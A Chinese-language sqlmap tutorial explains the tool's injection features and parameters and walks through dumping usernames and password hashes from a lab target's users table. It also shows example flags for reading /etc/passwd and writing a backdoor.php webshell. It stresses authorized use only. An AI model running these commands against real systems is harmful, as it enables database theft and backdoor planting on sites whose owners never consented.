SQL利器- sqlmap 渗透指南- 教程以及技巧分享

SQLMAP 全面指南

一、SQLMAP 核心定位

SQLMAP 是一款基于 Python 开发的 开源自动化 SQL 注入渗透测试工具,堪称 Web 安全领域针对 SQL 注入的「标杆工具」,核心目标聚焦两点:

  1. 自动化检测 Web 应用中各类 SQL 注入漏洞(覆盖报错注入、布尔盲注、时间盲注、联合查询注入、堆叠查询注入等主流类型);
  2. 深度利用已发现漏洞,实现从「数据库访问」到「系统级控制」的全流程渗透,满足不同场景下的安全测试需求。

二、核心特性与功能模块

1. 强大的检测引擎

  • 多位置自动识别:支持探测 GET/POST 参数、Cookie、HTTP 头部(如 Referer、User-Agent)、HTTP -body 等多个位置的注入漏洞;
  • 复杂场景适配:兼容 URL 编码、Base64 编码等多种编码格式,支持自定义 HTTP 请求头、代理转发(HTTP/SOCKS)、延迟注入(应对高防护场景)等复杂环境;
  • 智能注入选型:自动识别注入类型(报错/布尔/时间/堆叠等),根据目标系统响应动态选择最优利用方式,提升检测成功率。

2. 数据库层渗透能力

  • 精准指纹识别:快速判断目标数据库类型(MySQL、PostgreSQL、SQL Server、Oracle 等)及具体版本,适配不同数据库的特性;
  • 全维度数据获取:批量导出表结构、字段内容、存储过程、用户权限等信息,支持按条件筛选导出(减少资源占用,避免数据库宕机);
  • 权限深度操控:检测当前数据库用户权限(是否为 DBA),尝试提权、创建管理员账号、开启远程访问等高危操作。

3. 系统级访问与命令执行

  • DBMS 底层操作:读取数据库配置文件、修改运行参数、操作审计日志等;
  • 操作系统穿透
    • 直接命令执行:当数据库用户权限足够时(如 MySQL 的 FILE 权限、SQL Server 的 xp_cmdshell 组件启用),可执行 whoamidir 等系统命令;
    • 带外数据传输:针对无回显盲注场景,通过 DNSlog、SMB 共享、HTTP 请求等 Out-of-Band 方式接收执行结果,解决盲注利用难题;
  • 文件双向操作:上传本地文件(如后门程序)到目标系统,或下载敏感文件(如 Linux 的 /etc/passwd、Windows 的 system32/config/SAM)。

三、支持范围与适用场景

1. 兼容主流数据库

  • 完全支持:MySQL、PostgreSQL、SQL Server、Oracle、SQLite、Access、DB2 等;
  • 针对性优化:适配不同数据库的特有功能(如 Oracle 的 UTL_HTTP 包利用、SQL Server 的 OLE Automation Procedures 提权、MySQL 的 into outfile 写文件等)。

2. 典型合法使用场景

  • 渗透测试工程师对 授权目标 进行安全评估,验证 SQL 注入漏洞的实际危害;
  • 安全研究员复现漏洞,测试 WAF、IPS 等防护设备的检测与拦截能力;
  • 企业内部安全审计,排查自有 Web 应用的 SQL 注入风险(需在合规框架内执行)。

四、重要合规性提示

SQLMAP 的强大功能伴随 极高法律与操作风险,使用时必须严格遵守以下原则:

  1. 仅可用于 自身拥有所有权或已获得书面明确授权 的目标系统,严禁用于未授权第三方系统(违反《网络安全法》《刑法》等法律法规,需承担刑事责任);
  2. 测试过程中必须保留完整操作日志,避免高频请求、全量数据导出等操作导致目标系统服务中断;
  3. 禁止利用工具窃取用户隐私、商业机密等敏感数据,否则将面临民事赔偿及刑事处罚。

五、SQLMAP 核心参数

1. 目标指定参数(基础)

参数 功能说明
-d 直接连接数据库(需提供连接字符串,格式:DBMS://用户:密码@主机:端口/数据库
-u 指定单个 URL 目标(如:http://xxx.com/?id=1
-l 解析 Burp/WebScarab 代理日志中的目标 URL(注:原参数 -I 为笔误,正确为 -l
-m 批量扫描文本文件中的多个目标(文件内每行一个 URL)
-r 加载本地 HTTP 请求文件(需在注入位置用 * 标记,如:id=1*
-g 以 Google Dork 搜索结果作为目标 URL(需配置 Google 搜索 API)

2. 漏洞利用与数据获取参数

参数 功能说明
-a 全自动获取所有可用信息(数据库信息、用户、权限、数据等)
--current-user 获取数据库当前连接用户
--current-db 获取数据库当前使用的数据库
--hostname 获取数据库服务器主机名
--is-dba 检测当前数据库用户是否为 DBA(管理员)权限
--users 枚举数据库所有用户账户
--passwords 导出数据库用户密码哈希值(支持自动破解常见哈希)
--dbs 枚举数据库服务器中所有数据库
--tables 枚举指定数据库中的所有表(需配合 -D 参数)
--columns 枚举指定表中的所有字段(需配合 -D 数据库 -T 表名 参数)
--dump 导出指定字段的数据(需配合 -D 数据库 -T 表名 -C 字段名
--dump-all 导出数据库服务器中所有数据库的全部数据(谨慎使用,占用资源大)
-D db_name 指定目标数据库(配合 --tables/--columns/--dump 使用)
-T table_name 指定目标表(配合 --columns/--dump 使用)
-C column_name 指定目标字段(多个字段用逗号分隔,如:-C "name,pass,uid"
--batch 全自动执行,不弹出交互询问(使用所有默认配置)

3. 探测配置参数

参数 功能说明
--level=LEVEL 测试等级(1-5,默认 1):等级越高,检测的参数位置越多(如 level=5 会检测 Cookie/HTTP 头部)
--risk=RISK 风险等级(1-3,默认 1):等级越高,使用的 payload 越危险(如 risk=3 可能触发数据篡改)
--technique=TEC 指定注入模式(快速扫描),支持组合:B(布尔盲注)、E(报错注入)、U(联合查询)、T(时间盲注)、S(堆叠查询)

4. 文件操作参数

参数 功能说明
--file-read=PATH 读取目标系统文件(需数据库用户有文件权限,如:--file-read="/etc/passwd"
--file-write=PATH 上传本地文件到目标系统(如:--file-write="/local/backdoor.php"
--file-dest=PATH 指定目标系统的文件写入路径(绝对路径,如:--file-dest="/var/www/backdoor.php"

六、实际操作案例(完整流程)

以目标 URL http://192.168.87.243/?nid=1 为例,演示从漏洞检测到数据导出的全流程:

步骤 1:判断是否存在 SQL 注入漏洞

1
sqlmap -u "http://192.168.87.243/?nid=1"
  • 作用:自动探测目标参数 nid 是否存在注入漏洞,输出注入类型、数据库类型等基础信息。
  • 效果示意图:
    判断是否存在注入

步骤 2:枚举所有数据库

1
sqlmap -u "http://192.168.87.243/?nid=1" --dbs
  • 作用:获取目标数据库服务器中所有可用数据库名称。
  • 效果示意图:
    查看所有数据库

步骤 3:确认当前使用的数据库

1
sqlmap -u "http://192.168.87.243/?nid=1" --level=5 --risk=3 --current-db
  • 参数说明:--level=5(最高检测等级)、--risk=3(最高风险等级),精准获取当前数据库。
  • 效果示意图:
    确认当前数据库

步骤 4:枚举目标数据库中的表

1
sqlmap -u "http://192.168.87.243/?nid=1" --level=5 --risk=3 -D "d7db" --tables
  • 参数说明:-D "d7db" 指定目标数据库为 d7db--tables 枚举该数据库下所有表。
  • 效果示意图:
    查询数据库表

步骤 5:枚举目标表中的字段

1
sqlmap -u "http://192.168.87.243/?nid=1" --level=5 --risk=3 -D "d7db" -T "users" --columns
  • 参数说明:-T "users" 指定目标表为 users--columns 枚举该表下所有字段。
  • 效果示意图:
    查询表字段

步骤 6:导出目标字段的数据

1
sqlmap -u "http://192.168.87.243/?nid=1" --level=5 --risk=3 -D "d7db" -T "users" -C "name,pass,uid" --dump
  • 参数说明:-C "name,pass,uid" 指定需导出的字段,--dump 导出字段对应的具体数据。
  • 效果示意图:
    导出字段数据

步骤 7:查询数据库当前用户

1
sqlmap -u "http://192.168.87.243/?nid=1" --current-user
  • 作用:获取当前连接数据库的用户账号。
  • 效果示意图:
    查看数据库用户

步骤 8:检测当前用户是否为 DBA

1
sqlmap -u "http://192.168.87.243/?nid=1" --is-dba
  • 作用:判断当前数据库用户是否拥有管理员权限(DBA),为后续提权操作提供依据。
  • 效果示意图:
    检测DBA权限